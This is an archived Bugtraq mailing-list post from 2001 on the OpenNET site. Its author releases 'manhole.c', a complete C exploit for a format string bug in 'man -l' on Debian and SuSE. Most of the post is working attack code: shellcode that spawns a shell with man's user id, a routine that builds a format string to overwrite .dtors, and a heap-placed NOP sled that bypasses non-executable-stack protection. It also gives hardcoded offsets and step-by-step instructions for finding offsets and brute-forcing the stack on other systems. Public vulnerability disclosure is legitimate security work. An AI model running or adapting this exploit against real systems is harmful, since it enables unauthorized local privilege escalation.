The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

debian/suse man exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 13 Mar 2001 21:20:33 -0500
From: fish stiqz <fish@ANALOG.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: debian/suse man exploit

--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Heres another exploit for the debian/suse man -l format string bug
discussed a bit earlier.  It bypasses Solar Designer's non-exec stack
patch and should work out of the box on Debian 2.2.  There is a detailed
explanation of how to get the offsets for other distributions (such as
SuSE).  I dont have access to any SuSE machines but I would love it
if you guys/gals give it a test.  Just follow what I did in the comments.

As always, for updates see http://gibson.analog.org/security

Have a great day!
Later,
fish stiqz.

--
fish stiqz <fish@analog.org>
   irc>irl?werd():lame()

--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="manhole.c"

/*
 *  manhole.c - fish stiqz <fish@analog.org> 02/26/2001
 *              updated on 03/12/2001
 *
 *  Now gives man's real userid.  Thanks to Paul Starzetz for the hint
 *  concerning POSIX saved id's.
 *
 *  How to get the offsets:
 *  ======================
 *
 *  1) Target address:
 *  $ objdump -s -j .dtors /path/to/man
 *
 *  /path/to/man:     file format elf32-i386
 *
 *  Contents of section .dtors:
 *  805a8dc ffffffff 00000000                    ........
 *  ^^^^^^^
 *  Add 4 to the head of the .dtors list to get 0x0805a8e0.
 *
 *  2) Value to write:
 *     (This needs to be an address to our nops)
 *  $ cp /path/to/man /tmp
 *  $ ltrace ./manhole -p /tmp/man -t 0x0805a8e0 -v 0x52525252 -e 100 -u 5 2>&1 | grep malloc
 *  malloc(1342)                                      = 0x0804a420
 *  malloc(601)                                       = 0x0804a968
 *  malloc(161)                                       = 0x0804abc8
 *  malloc(686)                                       = 0x0804ac70
 *  malloc(1337)                                      = 0x081611c8
 *         ^^^^                                         ^^^^^^^^^^
 *  malloc(4)                                         = 0x0815f5d8
 *  malloc(13)                                        = 0x0815f5e8
 *  malloc(10)                                        = 0x0815f5f8
 *  malloc(719)                                       = 0x08161708
 *
 *  The elite malloc contains our eggshell.
 *  Notice that this eggshell is in the heap, so it will bypass Solar
 *  Designer's non-executable stack patch.
 *
 *  3) The stack eats:
 *     (Brute force it.  -u specifies man's userid: `id man` to get it)
 *  $ for i in `seq 40 140`; do echo $i; ./manhole -p /path/to/man -t 0x0805a8e0 -v 0x081611c8 -e $i -u 5; done;
 *     ....
 *  102
 *  ...
 *  103
 *  ...
 *  104
 *  ...
 *  sh-2.04$ whoami
 *  man
 *  sh-2.04$
 *
 *
 *  4) Then email me the these three values including the operating system,
 *     distribution type and version, and man's uid.  I'll add them to my
 *     exploit, give you credit, and send you a copy with all the known
 *     offsets.
 *
 *  l8r, have fun.  fish stiqz.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

extern int errno;
extern char *optarg;

#define DEFAULT_MAN_BIN   "/usr/lib/man-db/man"
#define DEFAULT_SHELLCODE scode
#define DEFAULT_UID       5
#define ENV_VAR           "LANG"

#define STACK (0xc0000000-4)

/* shellcode, does a setreuid(-1, UID); setreuid(UID, UID);
   and execve of /bin/sh, uids at scode[10], scode[22] & scode[24] */
#define UID "\x05"
char scode[] =
/* setreuid(-1, 5); setreuid(5,5); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"UID
"\x31\xc0\xb0\x46\xcd\x80\x31\xdb\x31\xc9\xb3"UID
"\xb1"UID"\x31\xc0\xb0\x46\xcd\x80"

/* anathema */
"\x89\xe6"                          /* movl %esp, %esi          */
"\x83\xc6\x30"                      /* addl $0x30, %esi         */
"\xb8\x2e\x62\x69\x6e"              /* movl $0x6e69622e, %eax   */
"\x40"                              /* incl %eax                */
"\x89\x06"                          /* movl %eax, (%esi)        */
"\xb8\x2e\x73\x68\x21"              /* movl $0x2168732e, %eax   */
"\x40"                              /* incl %eax                */
"\x89\x46\x04"                      /* movl %eax, 0x04(%esi)    */
"\x29\xc0"                          /* subl %eax, %eax          */
"\x88\x46\x07"                      /* movb %al, 0x07(%esi)     */
"\x89\x76\x08"                      /* movl %esi, 0x08(%esi)    */
"\x89\x46\x0c"                      /* movl %eax, 0x0c(%esi)    */
"\xb0\x0b"                          /* movb $0x0b, %al          */
"\x87\xf3"                          /* xchgl %esi, %ebx         */
"\x8d\x4b\x08"                      /* leal 0x08(%ebx), %ecx    */
"\x8d\x53\x0c"                      /* leal 0x0c(%ebx), %edx    */
"\xcd\x80"                          /* int $0x80                */
;

char nop[] = "\x90";


/* architecture structure */
struct arch {
    char *description;
    char *filename;
    char *code;
    unsigned long target;
    unsigned long value;
    unsigned int eats;
    unsigned int man_uid;
};

struct arch archlist[] =
{
    {
	"Slackware 7.1 - testing only (NOT DEFAULT)", "./man", scode,
	0x0805a8e0, 0x081611c8, 104, 5
    },
    {
	"Debian 2.2 (man-db_2.3.16-1.deb)", "/usr/lib/man-db/man", scode,
	0x0805c53c, 0x08163128, 128, 6
    }
};


/*
 * Error cheq'n wrapper for malloc.
 */
void *Malloc(size_t n)
{
    void *tmp;

    if((tmp = malloc(n)) == NULL)
    {
        fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
        exit(EXIT_FAILURE);
    }

    return tmp;
}


/*
 * Error cheq'n realloc.
 */
void *Realloc(void *ptr, size_t n)
{
    void *tmp;

    if((tmp = realloc(ptr, n)) == NULL)
    {
        fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
        exit(EXIT_FAILURE);
    }

    return tmp;
}


/*
 * returns the proper alignment for the man -l argument on the stack.
 *  - this method courtesy of Michel "MaXX" Kaempf (Thanks dawg ;-)
 */
char *create_proper_align(char *man_bin, char **execve_envs,  char *fmtstr)
{
    unsigned long file_addr;
    unsigned int x, align;

    file_addr = STACK - (strlen(man_bin) + 1);
    for(x = 0; execve_envs[x] != NULL; x++)
	file_addr -= strlen(execve_envs[x]) + 1;

    file_addr -= strlen(fmtstr) + 1;
    for(align = 0; align < (file_addr % 16); align++);

    printf("caculated alignment: %d\n", align);

    fmtstr = Realloc(fmtstr, (strlen(fmtstr) + 1 + align) * sizeof(char));
    memset(fmtstr + strlen(fmtstr), 'X', align);

    return fmtstr;
}


/*
 * generates a format string that overwrites location with value.
 * This format string is only appropriate for use with a printf call
 * that only writes to the screen due to the fact that it uses large
 * precision values which will most likely cause a segfault if that
 * many bytes are written to a string via sprintf.
 * the number of items on the stack before the input buffer is
 * specified by stackpad (eat up the stack..)
 */

#define EAT_ME "%.8x "
#define EAT_ME_SIZE 9

char *make_printf_fmtstr(unsigned long location,
			 unsigned long value,
			 unsigned int eats,
			 unsigned int addrpad)
{
    char *fmtbuf;
    char *eatbuf;
    char *addrbuf, *tmpbuf;
    unsigned int i, len1 = 0;
    unsigned int big, small, tmp;
    unsigned int precision[2];
    unsigned long dest_addr[2];

    /* set up the padbuf */
    eatbuf = Malloc((1 + (eats * sizeof(EAT_ME))) * sizeof(char));
    eatbuf[0] = 0x0;
    for(i = 0; i < (eats * sizeof(EAT_ME)); i += sizeof(EAT_ME))
    {
	strcat(eatbuf, EAT_ME);
	len1 += EAT_ME_SIZE;
    }

    /* split the address into 2 two byte segments */
    big   = value & 0x0000ffff;
    small = (value & 0xffff0000) >> 16;

    if(big < small)
    {
	/* swap the values */
	tmp = big;
	big = small;
	small = tmp;

        dest_addr[0] = location;
        dest_addr[1] = location + 2;
    }
    else
    {
        dest_addr[0] = location + 2;
        dest_addr[1] = location;
    }

    /* write in the destination addresses with the junk values to expand.
       we want to write in in addrpad times to allow for "misses" */
    addrbuf = Malloc((1 + (16 * addrpad)) * sizeof(char));
    tmpbuf = addrbuf;
    for(i = 0; i < addrpad; i++)
    {
	memcpy(tmpbuf + 0, "AAAA", 4);                /* junk to pad */
	memcpy(tmpbuf + 4, (char *)&dest_addr[0], 4); /* 1st addr to overwrite */
	memcpy(tmpbuf + 8, "AAAA", 4);                /* junk to pad */
	memcpy(tmpbuf + 12, (char *)&dest_addr[1], 4);/* 2nd addr to overwrite */
	tmpbuf += 16;
    }
    len1 += (16 * addrpad);

    precision[0] = small - len1;
    precision[1] = big - small;

    /* 17: address + junk + null */
    /*  6: 2 "%hn"'s */
    /* 20: length specifiers */
    fmtbuf = Malloc(strlen(eatbuf) + strlen(addrbuf) + 6 + 20);
    sprintf(fmtbuf,
	    "%s"                /* the junk & address buffer */
	    "%s"                /* the pad buffer */
	    "%%.%dx"            /* pad out the first junk value */
	    "%%hn"              /* write to first address */
	    "%%.%dx"            /* pad out last junk value */
	    "%%hn",             /* write to last address */
	
	    addrbuf,
	    eatbuf,
	    precision[0],
	    precision[1]);

    free(addrbuf);
    free(eatbuf);

    return fmtbuf;

}

/*
 * makes the nop + shellcode egg
 */
char *make_eggshell(char *shellcode, char *nop, int num_nop, char *name,
		    unsigned int man_uid)
{
    char *egg, *tmp;
    unsigned int size, i, nop_size;

    /* replace the shellcode uids with what we want in the shellcode */
    shellcode[10] = man_uid;
    shellcode[22] = man_uid;
    shellcode[24] = man_uid;

    printf("using uid = %u as man's userid\n", man_uid);

    size = strlen(shellcode) + (num_nop * strlen(nop)) + strlen(name) + 2;
    egg = Malloc(size * sizeof(char));

    memset(egg, 0x0, size);
    strcpy(egg, name);
    strcat(egg, "=");

    tmp = egg + strlen(name) + 1;
    nop_size = strlen(nop);
    for(i = 0; i < num_nop; i++)
    {
	memcpy(tmp, nop, nop_size);
	tmp += nop_size;
    }

    strcat(egg, shellcode);
    return egg;
}

/*
 * prints a usage message and then exits.
 */
void usage(char *p)
{
    int i;

    fprintf(stderr,
	    "manhole - local man exploit by fish stiqz <fish@analog.org>\n"
	    "usage: %s <architecture>\n"
	    "Architectures:\n", p);
	
    for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
	fprintf(stderr, "  - %i: %s\n", i, archlist[i].description);

    fprintf(stderr,
	    "usage: %s <options>\n"
	    "Manual Exploitation:\n"
	    "\t-p\t<path>   path to man binary.\n"
	    "\t-t\t<target> address to overwrite.\n"
	    "\t-v\t<value>  value to overwrite with.\n"
	    "\t-e\t<eats>   number of stack eats\n"
	    "\t-u\t<uid>    uid to regain (uid of man)\n", p);
	
    exit(EXIT_FAILURE);
}


int main(int argc, char **argv)
{
    char *fmt_str, *eggy, *shellcode, *man_bin = NULL, c;
    char *execve_args[] = { NULL, "-l", NULL, NULL };
    char *execve_envs[] = { NULL, NULL };
    unsigned int eats = 0;
    unsigned int man_uid = DEFAULT_UID;
    unsigned long target = 0;
    unsigned long value = 0;
    int i;
    struct arch *arch;

    if(argc != 11 && argc != 2)
	usage(argv[0]);

    if(argc != 2)
    {
	shellcode = DEFAULT_SHELLCODE;

	while((c = getopt(argc, argv, "t:v:e:p:u:h")) != EOF)
	{
	    switch(c)
	    {
	    case 'p':
		man_bin = strdup(optarg);
		break;

	    case 't':
		target = strtoul(optarg, NULL, 0);
		break;
		
	    case 'v':
		value  = strtoul(optarg, NULL, 0);
		break;
		
	    case 'e':
		eats   = strtoul(optarg, NULL, 0);
		break;
		
	    case 'u':
		man_uid = strtoul(optarg, NULL, 0);
		break;

	    default:
		usage(argv[0]);
		break;
	    }
	}
    }
    /* one argument - get it from the arch structure */
    else
    {
	i = strtoul(argv[1], NULL, 0);
	if(i < 0 || i >= sizeof(archlist) / sizeof(struct arch))
	    usage(argv[0]);
	
	arch = &(archlist[i]);

	man_bin   = arch->filename;
	shellcode = arch->code;
	target    = arch->target;
	value     = arch->value;
	eats      = arch->eats;
	man_uid   = arch->man_uid;
    }

    printf("attempting to overwrite %#lx with %#lx\n", target, value);
    fflush(stdout);

    if(strlen(shellcode) > 1337 - 1)
    {
	fprintf(stderr, "uh, shellcode is > 1336?? Go optimize it...\n");
	exit(EXIT_FAILURE);
    }
    /* make the nop + shellcode egg */
    eggy = make_eggshell(shellcode, nop, 1337 - strlen(shellcode) - 1,
			 ENV_VAR, man_uid);
    execve_envs[0] = eggy;

    /* generate the format string */
    fmt_str = make_printf_fmtstr(target, value, eats, 10);
    fmt_str = create_proper_align(man_bin, execve_envs, fmt_str);

    execve_args[0] = man_bin;
    execve_args[2] = fmt_str;

    execve(execve_args[0], execve_args, execve_envs);

    fprintf(stderr, "execve(%s): %s\n", execve_args[0], strerror(errno));
    return EXIT_FAILURE;
}	


--gKMricLos+KVdGMg--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList